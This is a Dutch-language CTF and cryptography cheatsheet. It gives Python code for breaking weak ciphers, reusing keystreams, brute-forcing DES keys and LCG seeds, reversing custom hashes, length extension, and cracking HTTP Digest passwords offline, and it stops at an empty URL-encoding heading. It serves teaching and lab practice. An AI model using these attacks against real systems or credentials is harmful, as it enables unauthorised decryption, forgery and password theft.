Crypto / CTF Cheatsheet

Deel I: Crypto zwaktes, aanvallen en codefragmenten
Deel II: CTF / Crypto / Web / Reverse – uitgebreide versie met gedachtegang

Opmerking

Deel I is gebaseerd op: samenvatting hashing/encryptie + jouw oefeningen (Les 1 t/m 4: stream ciphers, AES/DES, hashing, signing). **Deel II** voegt encode/decode-trucs, recon, web-klassiekers, JWT-aanvallen, parser-aanvallen, een beslissingstabel en twee volledig uitgewerkte gedachtegang-oefeningen toe, telkens met de redenering erbij in B2-Nederlands.
Alle fragmenten zijn pure Python (stdlib + `cryptography`-package, geen `pycryptodome` nodig tenzij anders vermeld). Pas sleutels/bytes aan naar jouw eigen opgave. Gebruik dit alleen op je eigen lab of een target met toestemming.

Contents

1 Basis bouwstenen die overal terugkomen **5**
1.1 Bit flippen (XOR met 1 op een positie) . . . 5
1.2 XOR van twee gelijke-lengte bytes (en zijn eigen inverse) . . . 5
1.3 Hex/bytes/tekst omzettingen (kom je overal tegen) . . . 5
1.4 Rotaties (rol/ror) . . . 5

2 Stream ciphers – zwaktes en aanvallen **5**
2.1 Caesar / monoalfabetisch . . . 5
2.2 Vigenère . . . 6
2.3 Keystream/nonce hergebruik (stream cipher of CTR-mode) . . . 6
2.4 Custom PRNG/LCG-gebaseerde stream cipher . . . 6
2.5 Bit-flipping attack op stream cipher / CTR (vormbaarheid) . . . 7
2.6 RC4 . . . 7
2.7 Salsa20 . . . 7

3 Block ciphers (DES/AES) en modes – zwaktes **8**
3.1 DES: kleine sleutelruimte . . . 8
3.2 ECB-mode: patronen blijven zichtbaar . . . 8
3.3 Meet-in-the-middle op dubbele encryptie . . . 9
3.4 CBC-mode: bitflip/padding attacks . . . 9
3.5 CTR-mode: teller/nonce hergebruikt . . . 9

4 Hashfuncties – zwaktes en aanvallen **9**
4.1 Custom/zwakke hash reverse-engineeren . . . 10
4.2 Brute-force preimage attack . . . 10
4.3 Birthday attack / collision zoeken . . . 11
4.4 Length extension attack . . . 11
4.5 Onsalted password hashes . . . 11
4.6 SHA256-ketting voorspellen . . . 12

5 Digest auth / signing / “Signed and Sealed” – zwaktes **12**
5.1 HTTP/RTSP Digest Authentication . . . 12
5.2 “Signed” JSON-berichten die je ongewijzigd doorstuurt . . . 12

6 Algemene checklist bij een nieuwe opgave **13**

7 Algemene gedachtegang bij elke opgave **14**

8 Encode/decode: tekst, bytes, hex, binair, base64, URL, HTML **14**

8.1 Tekst ↔ bytes . . . 15
8.2 Bytes ↔ hex . . . 15
8.3 Bytes ↔ binair . . . 15
8.4 Integer ↔ bytes . . . 15
8.5 Base64 en base64url . . . 16
8.6 URL-encoding . . . 16
8.7 HTML-entities . . . 16
8.8 JSON: compact, sorted, raw . . . 17
8.9 Raw HTTP . . . 17

9 Extra encoding-trucs **17**

9.1 Unicode-trucs . . . 17
9.2 ROT13 / ROT-N . . . 18
9.3 Morse . . . 18
9.4 Bacon / binary-as-tekst . . . 18
9.5 Brainfuck . . . 19

10 Recon en informatie lekken **19**

10.1 Bestanden en paden . . . 19
10.2 HTML en JS . . . 20
10.3 Headers . . . 20
10.4 Default credentials . . . 20
10.5 DNS en subdomeinen . . . 20
10.6 Error messages . . . 20

11 Web-klassiekers (met payloads) **21**

11.1 SQL injection . . . 21
11.2 NoSQL injection . . . 21
11.3 XSS . . . 21
11.4 CSRF . . . 22
11.5 SSRF . . . 22
11.6 XXE . . . 22
11.7 LFI / RFI . . . 23
11.8 Path traversal . . . 23
11.9 Command injection . . . 23
11.10 SSTI . . . 23
11.11 IDOR . . . 24
11.12 Open redirect . . . 24
11.13 CORS misconfig . . . 24
11.14 File upload . . . 24
11.15 Race condition . . . 24
11.16 Mass assignment . . . 25

11.17 Insecure deserialization . . . 25

12 Crypto-klassiekers (met code) 25

12.1 XOR-aanvallen . . . 25
12.2 Bit-flipping op stream cipher / CTR . . . 25
12.3 ECB pattern attack . . . 26
12.4 CBC bit-flipping . . . 26
12.5 CBC padding oracle . . . 26
12.6 DES brute force . . . 27
12.7 Meet-in-the-middle . . . 27
12.8 LCG / PRNG voorspellen . . . 27
12.9 Vigenère . . . 28
12.10 RSA-klassiekers (kort) . . . 28
12.11 Timing-aanval . . . 29

13 Reverse engineering: custom hash, ciphers, binaries 29

13.1 Checklist voor je begint . . . 29
13.2 Omkeerbare operaties . . . 29
13.3 Inverse-patronen (code) . . . 29
13.4 Voorbeeld: custom hash reversen . . . 30
13.5 Extra patronen . . . 30
13.6 Als het niet volledig omkeerbaar is . . . 31
13.7 z3-voorbeeld . . . 31
13.8 Binary reverse (kort) . . . 31

14 JWT-aanvallen (uitgebreid) 32

14.1 alg=none . . . 32
14.2 Zwakke HMAC-secret . . . 32
14.3 Algorithm confusion (RS256 → HS256) . . . 32
14.4 kid injection . . . 33
14.5 jku / x5u SSRF . . . 33
14.6 JWT claim-trucs . . . 33

15 Length extension (uitgebreid) 33

16 Hash cracking en preimage 34

16.1 Preimage brute force . . . 34
16.2 Dictionary / woordlijst . . . 34
16.3 Rainbow tables . . . 35
16.4 Collision / birthday . . . 35
16.5 Hash-ketting voorspellen . . . 35
16.6 Hash soorten herkennen . . . 35

17 Parser-aanvallen (JSON, HTTP, XML, YAML) 36

17.1 JSON duplicate keys . . . 36
17.2 JSON spaties / key-volgorde . . . 36
17.3 HTTP request smuggling . . . 36
17.4 XML entities / XXE . . . 37

17.5 YAML anchors / aliases . . . 37
17.6 Content-Type verschillen . . . 37

18 Beslissingstabel: wanneer welke attack **37**

19 Gedachtegang oefening 1: SignedSealed **38**
19.1 Wat doet het script? . . . 38
19.2 Gedachtegang stap voor stap . . . 38
19.3 Wat betekent elke uitkomst? . . . 39
19.4 Aanvalskeuze-tabel . . . 39
19.5 Wat je nog kan proberen (als het niet lukt) . . . 39

20 Gedachtegang oefening 2: JWT alg=none **39**
20.1 Wat doet het script? . . . 39
20.2 Gedachtegang stap voor stap . . . 39
20.3 Wat betekent elke uitkomst? . . . 40
20.4 Wat je nog kan proberen (als alg=none faalt) . . . 40

21 Snelle eindchecklist **40**

1 Basis bouwstenen die overal terugkomen

1.1 Bit flippen (XOR met 1 op een positie)

```python
def flip_bit(data: bytes, bit_index: int) -> bytes:
    """Flip 1 bit in een bytes-object. bit_index telt vanaf MSB van byte 0."""
    byte_index = bit_index // 8
    bit_in_byte = 7 - (bit_index % 8)
    b = bytearray(data)
    b[byte_index] ^= (1 << bit_in_byte)
    return bytes(b)
```

1.2 XOR van twee gelijke-lengte bytes (en zijn eigen inverse)

```python
def xor_bytes(a: bytes, b: bytes) -> bytes:
    return bytes(x ^ y for x, y in zip(a, b))

# XOR is zijn eigen inverse: a ^ b ^ b == a
# Daarom: als je 2 van de 3 waarden hebt (pt, ct, keystream) ken je de derde.
#   ct = pt ^ keystream   ->   keystream = pt ^ ct   ->   pt = ct ^ keystream
```

1.3 Hex/bytes/tekst omzettingen (kom je overal tegen)

```python
h = "48656c6c6f"
b = bytes.fromhex(h)           # hex -> bytes
back = b.hex()                  # bytes -> hex
s = b.decode("utf-8", errors="ignore")   # bytes -> tekst (fouttolerant)
b2 = "Hello".encode("utf-8")   # tekst -> bytes  (zelfde als bytes(s,'utf-8'))
```

1.4 Rotaties (rol/ror)

Komen voor bij custom hash/cipher-ontwerp.

```python
def rol8(x, n):   # rotate-left binnen 1 byte (8 bits)
    n %= 8
    return ((x << n) | (x >> (8 - n))) & 0xff

def ror8(x, n):   # rotate-right binnen 1 byte
    n %= 8
    return ((x >> n) | (x << (8 - n))) & 0xff
```

2 Stream ciphers – zwaktes en aanvallen

2.1 Caesar / monoalfabetisch

Probleem

Kleine sleutelruimte.

Oplossing / aanval

Brute-force alle sleutels, check op leesbare ASCII.

```python
def caesar_brute_force(ciphertext: str):
    for shift in range(26):
        pt = "".join(
            chr((ord(c) - 65 - shift) % 26 + 65) if c.isupper()
            else chr((ord(c) - 97 - shift) % 26 + 97) if c.islower()
            else c
```

```
            for c in ciphertext
        )
        print(shift, pt)
```

2.2 Vigenère

Probleem

Herhaalde sleutel → patronen in de ciphertext.

Oplossing / aanval

Sleutellengte zoeken (Kasiski / index of coincidence), dan per kolom frequentie-analyse (elke kolom = Caesar). Voor een les-opgave is brute-force van korte sleutels vaak sneller.

```
def vigenere_decrypt(ciphertext: str, key: str) -> str:
    out = []
    ki = 0
    for c in ciphertext:
        if c.isalpha():
            base = 65 if c.isupper() else 97
            k = ord(key[ki % len(key)].lower()) - 97
            out.append(chr((ord(c) - base - k) % 26 + base))
            ki += 1
        else:
            out.append(c)
    return "".join(out)
```

2.3 Keystream/nonce hergebruik (stream cipher of CTR-mode)

Probleem

Keystream/nonce hergebruik bij stream cipher of CTR-mode (zie Les 2/Noncense – exact dit scenario!).

Oplossing / aanval

Als 2 berichten met dezelfde keystream versleuteld zijn: $c_1 \oplus c_2 = p_1 \oplus p_2$. Als je 1 plaintext kent, ken je de keystream voor beide, dus ook het 2e bericht.

```
def recover_via_nonce_reuse(known_ct: bytes, known_pt: bytes, target_ct: bytes) -> bytes:
    """known_ct/known_pt = bericht waarvan je BEIDE kent.
       target_ct = het bericht dat je wil kraken (zelfde key+nonce)."""
    keystream = xor_bytes(known_ct, known_pt)
    # alleen zoveel bytes als beschikbaar/nodig gebruiken:
    n = min(len(target_ct), len(keystream))
    return xor_bytes(target_ct[:n], keystream[:n])
```

Opmerking

Let op (fout die in de oefening stond):

```
#   keystream = xor(known_ct, flag_ct)   <-- FOUT, dit is niet de keystream!
#   Het moet: keystream = xor(known_ct, known_pt)   (ciphertext XOR de ECHTE plaintext)
```

2.4 Custom PRNG/LCG-gebaseerde stream cipher

Probleem

Les 1/Replanting. State-update: `state = (A*state + C) mod M`; keystream-byte = `(state » 16) & 0xff`.

Oplossing / aanval

Zwakte: LCG is voorspelbaar/omkeerbaar zodra je enkele output-bytes kent (en A, C bekend zijn). Seed/state kan teruggerekend of gebruteforced worden (zeker als alleen de lage bits onbekend zijn).

```
A, C, M = 1103515245, 12345, 2**31

def lcg_next(state):
    return (A * state + C) % M

def lcg_keystream(seed, length):
    state = seed
    ks = bytearray()
    for _ in range(length):
        state = lcg_next(state)
        ks.append((state >> 16) & 0xff)
    return bytes(ks)

def brute_force_seed(known_pt: bytes, known_ct: bytes, seed_bits=24):
    """Bruteforce een kleine seed-ruimte (bv. 2^24) met een snelle
    voorfilter op de eerste paar bytes."""
    target_ks = xor_bytes(known_pt, known_ct)
    for seed in range(2 ** seed_bits):
        if lcg_keystream(seed, 4) == target_ks[:4]:          # snelle filter
            if lcg_keystream(seed, len(target_ks)) == target_ks:  # volledige check
                return seed
    return None
```

2.5 Bit-flipping attack op stream cipher / CTR (vormbaarheid)

Probleem

Stream cipher/CTR is vormbaar (malleable).

Oplossing / aanval

Je kan een exact gekozen plaintext-wijziging doorvoeren zonder de sleutel te kennen, door op de juiste positie in de ciphertext te XOR'en.

```
def bitflip_change_plaintext(ciphertext: bytes, old_plain: bytes, new_plain: bytes, offset: int = 0) -> bytes:
    """Verandert old_plain naar new_plain op 'offset' in de ciphertext,
       old_plain en new_plain moeten gelijke lengte hebben."""
    assert len(old_plain) == len(new_plain)
    patch = xor_bytes(old_plain, new_plain)
    ct = bytearray(ciphertext)
    for i, p in enumerate(patch):
        ct[offset + i] ^= p
    return bytes(ct)
```

2.6 RC4

Probleem

RC4 keystream-bias / RC4 gebruiken.

Oplossing / aanval

Zwakte is structureel (statistische bias in eerste bytes), dus: niet zelf oplossen met code, gewoon RC4 vermijden / melden als kwetsbaarheid.

2.7 Salsa20

Probleem

Zie Les 1/Salsa20-map.

Oplossing / aanval

Zelfde principe als elke stream cipher: hergebruik van (key, nonce) is fataal. Met pycryptodome:

```
#   from Crypto.Cipher import Salsa20
#   cipher = Salsa20.new(key=key, nonce=nonce)
```

```
#   ct = cipher.encrypt(pt)
```

Met de `cryptography`-package (indien pycryptodome niet beschikbaar is):

```
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms

def salsa20_encrypt(key: bytes, nonce: bytes, data: bytes) -> bytes:
    algo = algorithms.ChaCha20(key, nonce)  # ChaCha20 ipv Salsa20 (zelfde familie, cryptography-lib heeft geen
    ↪ Salsa20)
    c = Cipher(algo, mode=None)
    return c.encryptor().update(data)
```

3 Block ciphers (DES/AES) en modes – zwaktes

3.1 DES: kleine sleutelruimte

Probleem

DES-sleutel van maar 56 bits (of klein keyspace door slecht gekozen sleutel, zie Les 2/DES.py: "IOTDEV" + 2 cijfers).

Oplossing / aanval

Brute-force alle kandidaat-sleutels, check op leesbare output.

```
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes

def des_ecb_bruteforce(ciphertext: bytes, namespace: str, max_suffix=100):
    for i in range(max_suffix):
        candidate_key = (namespace + f"{i:02d}").encode("ascii")
        # DES key moet 8 bytes zijn
        if len(candidate_key) != 8:
            continue
        c = Cipher(algorithms.TripleDES(candidate_key * 1), modes.ECB())  # of algorithms.DES als lib dat biedt
        try:
            dec = c.decryptor()
            pt = dec.update(ciphertext) + dec.finalize()
            if all(32 <= b < 127 for b in pt[:16]):
                print("key:", candidate_key, "->", pt)
                return candidate_key, pt
        except Exception:
            continue
    return None, None
```

3.2 ECB-mode: patronen blijven zichtbaar

Probleem

ECB-mode: identieke plaintext-blokken → identieke ciphertext-blokken (patronen blijven zichtbaar, "ECB-penguin").

Oplossing / aanval

Herken het door te kijken of blokken (bv. 16 bytes bij AES) zich herhalen in de ciphertext:

```
def find_repeated_blocks(data: bytes, block_size=16):
    blocks = [data[i:i+block_size] for i in range(0, len(data), block_size)]
    seen = {}
    repeats = []
    for idx, blk in enumerate(blocks):
        if blk in seen:
            repeats.append((seen[blk], idx, blk.hex()))
        else:
            seen[blk] = idx
    return repeats  # niet-leeg = sterk signaal voor ECB + patroonlek
```

3.3 Meet-in-the-middle op dubbele encryptie

Probleem

Dubbele encryptie (2x AES met korte deelsleutels, zie Les 2/AES@): 2x 20-bit sleutel breek je **niet** door 2^{40} te doorzoeken.

Oplossing / aanval

Wel door 2×2^{20} (meet-in-the-middle):

```python
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes

def make_key(k: int) -> bytes:
    return k.to_bytes(3, "big") + b"\x00" * 13   # pad naar 16 bytes AES-128

def aes_ecb_encrypt_block(key: bytes, block: bytes) -> bytes:
    c = Cipher(algorithms.AES(key), modes.ECB()).encryptor()
    return c.update(block) + c.finalize()

def aes_ecb_decrypt_block(key: bytes, block: bytes) -> bytes:
    c = Cipher(algorithms.AES(key), modes.ECB()).decryptor()
    return c.update(block) + c.finalize()

def meet_in_the_middle(known_pt: bytes, known_ct: bytes, key_bits=20):
    table = {}
    for k1 in range(2 ** key_bits):
        mid = aes_ecb_encrypt_block(make_key(k1), known_pt)
        table[mid] = k1
    for k2 in range(2 ** key_bits):
        mid = aes_ecb_decrypt_block(make_key(k2), known_ct)
        if mid in table:
            return table[mid], k2
    return None
```

```python
# Gebruik: zoek een bekend plaintext-blok (bv. vaste header van een
# bestandsformaat zoals BMP-pixel masks) en het bijhorende ciphertext-blok,
# draai dan meet_in_the_middle(). Daarna: plain = D_k1(D_k2(ciphertext)).
```

3.4 CBC-mode: bitflip/padding attacks

Probleem

CBC-mode: bits in het vorige blok aanpassen → voorspelbare wijziging in het volgende blok (padding/bit-flip attacks).

Oplossing / aanval

Zelfde principe als `bitflip_change_plaintext()` hierboven, maar dan toegepast op het **vorige** ciphertext-blok (niet het blok zelf), omdat CBC het vorige blok XOR't met de huidige plaintext vóór encryptie.

3.5 CTR-mode: teller/nonce hergebruikt

Probleem

CTR-mode: teller/nonce hergebruikt.

Oplossing / aanval

Zelfde als "keystream reuse" hierboven (CTR = stream cipher!). Gebruik `recover_via_nonce_reuse()`.

4 Hashfuncties – zwaktes en aanvallen

4.1 Custom/zwakke hash reverse-engineeren

Probleem

Custom/zwakke hash (Les 3/better hash).

Oplossing / aanval

Als elke ronde-operatie omkeerbaar is (XOR, rotate, shift), kan je de hash gewoon in omgekeerde volgorde en met inverse operaties terugrekenen. Patroon: bouw de encrypt-functie na, keer dan elke stap om (laatste stap eerst, elke operatie met zijn inverse):

- XOR → inverse is dezelfde XOR
- shift/rotate links → inverse is rotate rechts (en vice versa)
- volgorde van rondes → ook omkeren (laatste ronde eerst)

```
def rol(x, n):
    return ((x << n) | (x >> (8 - n))) & 0xff

def ror(x, n):
    return ((x >> n) | (x << (8 - n))) & 0xff

def forward_hash(msg: str, rounds=8) -> str:
    state = bytearray(msg.encode())
    for rnd in range(rounds):
        for i in range(len(state)):
            state[i] ^= (rnd * 41 + i * 17) & 0xff
            state[i] = rol(state[i], (rnd + i) & 7)
        for i in range(1, len(state)):
            state[i] ^= state[i - 1]
        state = state[1:] + state[:1]       # rotate de hele array 1 plek naar links
    return state.hex()

def reverse_hash(hex_digest: str, rounds=8) -> bytes:
    state = bytearray.fromhex(hex_digest)
    for rnd in range(rounds - 1, -1, -1):
        state = state[-1:] + state[:-1]     # inverse van "rotate array links" = rotate rechts
        for i in range(len(state) - 1, 0, -1):
            state[i] ^= state[i - 1]        # XOR-chain terugdraaien (van achter naar voor!)
        for i in range(len(state) - 1, -1, -1):
            state[i] = ror(state[i], (rnd + i) & 7)   # inverse van rol = ror
            state[i] ^= (rnd * 41 + i * 17) & 0xff
    return bytes(state)

# Tip: check altijd of forward_hash(reverse_hash(x)) == x om je inverse-logica
# te verifieren voor je op een echte flag loslaat.
```

4.2 Brute-force preimage attack

Probleem

Preimage: 2^{m-1} pogingen voor een m-bit hash.

Oplossing / aanval

Praktisch alleen haalbaar bij kleine hash (bv. 32–64 bit) of korte bekende invoerruimte (bv. 6-cijferige pincode):

```
import hashlib

def bruteforce_preimage(target_hex: str, charset="0123456789", length=6, algo="sha256"):
    import itertools
    h = getattr(hashlib, algo)
    for combo in itertools.product(charset, repeat=length):
        candidate = "".join(combo).encode()
        if h(candidate).hexdigest() == target_hex:
            return candidate
    return None
```

4.3 Birthday attack / collision zoeken

Probleem

Collision zoeken: $2^{m/2}$ i.p.v. 2^m pogingen – zie Les 3/Banking2/collision.json: 2 verschillende "reference"-strings, zelfde fingerprint/hash.

Oplossing / aanval

Genereer veel varianten en zoek op in een hashtabel (dict) tot een botsing optreedt:

```
import hashlib, os

def find_collision(prefix: str, suffix_len=8, algo="md5"):
    h = getattr(hashlib, algo)
    seen = {}
    while True:
        candidate = prefix + os.urandom(suffix_len).hex()
        digest = h(candidate.encode()).hexdigest()
        if digest in seen and seen[digest] != candidate:
            return seen[digest], candidate, digest
        seen[digest] = candidate
```

4.4 Length extension attack

Probleem

$H(\text{key} \,\|\, \text{message})$ als MAC gebruikt; MD5/SHA-1/SHA-2 zijn kwetsbaar.

Oplossing / aanval

Met de bekende digest + lengte van de key kan je data achteraan plakken en een geldige nieuwe hash berekenen zonder de key te kennen. Gebruik een bestaande library hiervoor (zelf Merkle-Damgard padding nabouwen is foutgevoelig); bv. `hashpumpy` (pip) of `hlextend` (pip). Mini-voorbeeld met `hlextend` (indien geïnstalleerd):

```
# import hlextend
# sha = hlextend.new('sha256')
# new_sig = sha.extend(b";admin=true", known_message, key_length, known_digest)
# forged_message = sha.generate()
#
# Oplossing voor de ontwikkelaar: gebruik HMAC (hashlib.new werkt niet als
# MAC-vervanger) of SHA-3 (sponsconstructie is niet kwetsbaar).
```

```
import hmac, hashlib

def correct_mac(key: bytes, message: bytes) -> str:
    return hmac.new(key, message, hashlib.sha256).hexdigest()   # VEILIG, geen length-extension
```

4.5 Onsalted password hashes

Probleem

Onsalted password hashes → rainbow tables / dictionary attack. Herkenning: zelfde wachtwoord geeft altijd dezelfde hash zonder salt.

Oplossing / aanval

(Voor ontwikkelaars) salt + trage hash (bcrypt/scrypt/argon2), **nooit** kale `sha256(password)`.

```
import hashlib, os

def hash_password_properly(password: str):
    salt = os.urandom(16)
    # scrypt is beschikbaar in stdlib (hashlib.scrypt), traag by design
    digest = hashlib.scrypt(password.encode(), salt=salt, n=2**14, r=8, p=1, dklen=32)
    return salt, digest
```

```python
def verify_password(password: str, salt: bytes, digest: bytes) -> bool:
    candidate = hashlib.scrypt(password.encode(), salt=salt, n=2**14, r=8, p=1, dklen=32)
    return hmac.compare_digest(candidate, digest)   # timing-safe vergelijken!
```

4.6 SHA256-ketting voorspellen

Probleem

Les 3/oefening 3: `next_code = sha256(current_code)`.

Oplossing / aanval

Als je de "huidige" waarde kent, is de "volgende" gewoon 1 hash-call:

```python
import hashlib

def next_code_from_current(current_hex: str) -> str:
    return hashlib.sha256(bytes.fromhex(current_hex)).hexdigest()

# Zwakte hier: als het protocol een voorspelbare hashketting gebruikt
# voor eenmalige codes (OTP-achtig) zonder extra geheim/salt, kan
# iedereen die de huidige waarde kent de volgende voorspellen.
```

5 Digest auth / signing / "Signed and Sealed" – zwaktes

5.1 HTTP/RTSP Digest Authentication

Probleem

MD5-gebaseerd, Les 3/SecurityCam. Zelf geen directe "break", maar ken het stramien:

- `HA1 = MD5(user:realm:pass)`
- `HA2 = MD5(method:uri)`
- `response = MD5(HA1:nonce:HA2)`

Oplossing / aanval

Zwaktes: MD5 is verouderd (collision-gevoelig), en als `pass` zwak is kan je met bekende realm/nonce/method/uri offline wachtwoorden bruteforcen door de response te vergelijken:

```python
import hashlib

def md5(s: str) -> str:
    return hashlib.md5(s.encode()).hexdigest()

def bruteforce_digest_password(username, realm, method, uri, nonce, target_response, wordlist):
    ha2 = md5(f"{method}:{uri}")
    for pw in wordlist:
        ha1 = md5(f"{username}:{realm}:{pw}")
        resp = md5(f"{ha1}:{nonce}:{ha2}")
        if resp == target_response:
            return pw
    return None
```

5.2 "Signed" JSON-berichten die je ongewijzigd doorstuurt

Probleem

Les 4/SignedSealed: message + signature van de server. Veelvoorkomende valkuil: de server signeert de **exacte bytes** van het bericht (bv. een specifieke JSON-serialisatie met bepaalde spaties/sleutelvolgorde). Als jij het bericht zelf opnieuw serialiseert (`json.dumps` met andere volgorde/spacing), klopt de signature niet meer.

Oplossing / aanval

Stuur de RAW bytes/tekst die je ontving door, verander niets:

```python
import requests

def forward_raw_signed_message(base_url: str):
    r = requests.get(f"{base_url}/challenge")
    raw_body = r.text                       # exacte bytes zoals ontvangen, NIET r.json() + json.dumps()
    challenge = r.json()
    signature = challenge["signature"]
    # stuur het 'message'-deel als RAW substring terug i.p.v. opnieuw dumpen:
    import re
    # pak het stuk "message": {...} letterlijk uit de ruwe tekst als dat nodig is,
    # of stuur gewoon raw_body ongewijzigd door als dat is wat verwacht wordt.
    r2 = requests.post(
        f"{base_url}/vault",
        data=raw_body,  # exacte originele bytes, voorkomt serialisatie-mismatch
        headers={"Content-Type": "application/json", "X-Signature": signature},
    )
    return r2.status_code, r2.text
```

Opmerking

Denkwijze: als een signature/hash niet klopt terwijl de "inhoud" logisch hetzelfde is, verdenk altijd eerst de EXACTE bytes/encoding (spaties, key-volgorde, newline aan einde, utf-8 vs latin-1, trailing `\r\n`), niet de cryptografie zelf.

6 Algemene checklist bij een nieuwe opgave

1. **Wat ken je?** Plaintext, ciphertext, key, nonce, hash-output?
2. **Wat is het cijfer/hash-type?** Stream/block/hash – kijk naar sleutelgrootte, blokgrootte, aantal rondes.
3. **Is er hergebruik?** Zelfde key+nonce op meerdere berichten → XOR-aanval.
4. **Is de sleutelruimte klein?** Vaste prefix/patroon in de sleutel → brute-force i.p.v. volledige keyspace doorzoeken.
5. **Is het dubbele encryptie met korte deelsleutels?** → meet-in-the-middle i.p.v. 2x volledige brute-force.
6. **Is het een custom/eigen hash of cipher?** → elke operatie is meestal omkeerbaar (XOR/rotate/shift), bouw de inverse-functie stap voor stap, in omgekeerde volgorde.
7. **Wordt een hash gebruikt als MAC ($H(\mathbf{key} \,\|\, \mathbf{msg})$)?** → check op length extension attack.
8. **Werkt een signature/hash plots niet terwijl de data "hetzelfde" is?** → verdenk exacte bytes/serialisatie, niet de cryptografie zelf.
9. **Test je code altijd eerst** op het voorbeeld waarvan je het antwoord al kent (round-trip: `encrypt(decrypt(x)) == x`), voor je hem op de echte/onbekende data loslaat.

Deel II

CTF / Crypto / Web / Reverse Cheatsheet – uitgebreide versie

Opmerking

Met overal **gedachtegang** in B2-Nederlands. Gebruik dit alleen op je eigen lab of een target met toestemming.

7 Algemene gedachtegang bij elke opgave

Gedachtegang

Als je een nieuwe opgave ziet, denk dan altijd in deze volgorde. Sla geen stappen over, ook niet als je denkt dat je het al weet. Negentig procent van de fouten komt van een overgeslagen stap.

Stap 1 – Wat heb ik?
Plaintext? Ciphertext? Hash? Signature? Token? Een URL? Een poort? Een bestand? Een binary? Een PCAP? Een login? Een API? Een challenge-endpoint? Een hint in de titel of beschrijving (“crypto”, “web”, “reverse”, “pwn”, “forensics”, “misc”)?

Stap 2 – Wat verandert er?
Gaat het over key, nonce, salt, padding, IV? Gaat het over serialisatie (JSON, XML, HTTP, base64)? Gaat het over toegang (rol, token, sessie, cookie)? Gaat het over tijd (timestamp, expiry, nonce)? Gaat het over volgorde (key-volgorde, ronde-volgorde)?

Stap 3 – Is er hergebruik?
- Zelfde key+nonce op meerdere berichten? → XOR-aanval.
- Zelfde token voor meerdere users? → privilege escalation.
- Zelfde hash zonder salt? → rainbow tables.
- Zelfde IV? → CBC-aanval.
- Zelfde seed? → PRNG voorspellen.

Stap 4 – Is de ruimte klein?
Korte key, pincode, 20-bit key, vaste prefix? Kleine seed? Kleine inputruimte? Beperkte woordenschat (bv. role in {user, admin})? Beperkt bereik (bv. bedrag 0..100)?

Stap 5 – Is het omkeerbaar?
XOR, rotate, shift, add, multiply, S-box, permutatie? Elke omkeerbare stap betekent: je kan terugrekenen. Bouw eerst de forward-functie, dan de inverse. Test met `forward(reverse(x)) == x`.

Stap 6 – Is het een parser-probleem?
JSON duplicate keys, spaties, key-volgorde? UTF-8 vs latin-1? CRLF vs LF? HTTP Content-Length, Transfer-Encoding? XML entities, YAML anchors, form-urlencoded? Sommige parsers zijn streng, andere tolerant. Dat verschil is vaak de hele aanval.

Stap 7 – Wat is de zwakke plek?
Crypto (key te klein, mode verkeerd, MAC verkeerd)? Parser (interpretatie-verschil)? Serialisatie (exacte bytes)? Toegang (rol, token, sessie)? Inputvalidatie (SQLi, SSTI, XXE)? Logica (race, IDOR, mass assignment)?

Stap 8 – Test eerst, dan exploit
Test op bekende input met bekend antwoord. Round-trip test: `encrypt(decrypt(x)) == x`. `forward(reverse(x)) == x` voor custom hash. Pas daarna op de echte/onbekende data.

8 Encode/decode: tekst, bytes, hex, binair, base64, URL, HTML

8.1 Tekst ↔ bytes

Gedachtegang

Tekst is voor mensen. Bytes zijn voor de computer. Een hash, ciphertext of HTTP-body is **altijd** bytes. Als je een string ergens instopt waar bytes verwacht worden (of omgekeerd), krijg je rare fouten zoals "can only concatenate str (not bytes) to str". Dus: eerst beslissen "is dit tekst of bytes?", dan pas verder.

```
s  = "Hallo"
b  = s.encode("utf-8")       # tekst -> bytes
s2 = b.decode("utf-8")       # bytes -> tekst

# Fouttolerant decoderen (als je niet zeker bent van encoding):
s3 = b.decode("utf-8", errors="ignore")
s4 = b.decode("utf-8", errors="replace")

# Latin-1 (elke byte is een teken, nooit een fout):
s5 = b.decode("latin-1")
```

8.2 Bytes ↔ hex

Gedachtegang

Hex gebruik je voor hashes, signatures, ciphertext en flags. Elke byte wordt 2 hex-tekens. Als je een hash ziet van 64 hex-tekens, weet je: 32 bytes = SHA-256. 32 hex = 16 bytes = MD5. 40 hex = 20 bytes = SHA-1. 128 hex = 64 bytes = SHA-512. Zo herken je het type snel zonder iets te hoeven berekenen.

```
b  = b"Hallo"
h  = b.hex()                 # "48616c6c6f"
b2 = bytes.fromhex(h)        # terug naar bytes

# Met prefix (handig in logs):
h2 = "0x" + b.hex()
b3 = bytes.fromhex(h2[2:])
```

8.3 Bytes ↔ binair

Gedachtegang

Binair is handig als je op bitniveau wil kijken: welke bit is geflipt? Waar zit de XOR? Print een paar bytes als bits en je ziet patronen die je in hex mist. Vooral bij custom hashes en stream ciphers onmisbaar.

```
def bytes_naar_bits(b: bytes) -> str:
    return "".join(f"{byte:08b}" for byte in b)

def bits_naar_bytes(bits: str) -> bytes:
    return int(bits, 2).to_bytes(len(bits) // 8, "big")

# Met spaties voor leesbaarheid:
def bytes_naar_bits_mooi(b: bytes) -> str:
    return " ".join(f"{byte:08b}" for byte in b)

b    = b"Hi"
bits = bytes_naar_bits(b)   # "0100100001101001"
back = bits_naar_bytes(bits)
```

8.4 Integer ↔ bytes

Gedachtegang

Soms is een sleutel of seed een getal. Dan moet je het omzetten naar bytes voor een cipher, of terug. "big" en "little" endian maken hier echt uit. Als je een getal terugzet met de verkeerde endian, krijg je onzin.

```
n  = 123456
b  = n.to_bytes(4, "big")      # 4 bytes, big-endian
```

```
b2 = n.to_bytes(4, "little")  # little-endian
n2 = int.from_bytes(b, "big")
n3 = int.from_bytes(b2, "little")

# Lengte variabel (bv. voor RSA):
b3 = n.to_bytes((n.bit_length() + 7) // 8, "big")
```

8.5 Base64 en base64url

Gedachtegang

Base64 is geen encryptie, het is alleen "veilig doorsturen". Als je iets ziet met alleen A-Z, a-z, 0-9, +, / en =, dan is het waarschijnlijk base64. JWT gebruikt base64url **zonder** padding. Als je een JWT wil decoderen, moet je de "=" terugzetten. Anders krijg je een fout of onvolledige bytes.

```
import base64

data = b"hello"
std  = base64.b64encode(data).decode()      # "aGVsbG8="
back = base64.b64decode(std)

# base64url (JWT-stijl, zonder padding):
url   = base64.urlsafe_b64encode(data).rstrip(b"=").decode()
back2 = base64.urlsafe_b64decode(url + "=" * (-len(url) % 4))

# Hex-gebaseerde base64 herkennen:
# lengte veelvoud van 4, eindigt op 0, 1 of 2 '='.
```

8.6 URL-encoding

Gedachtegang

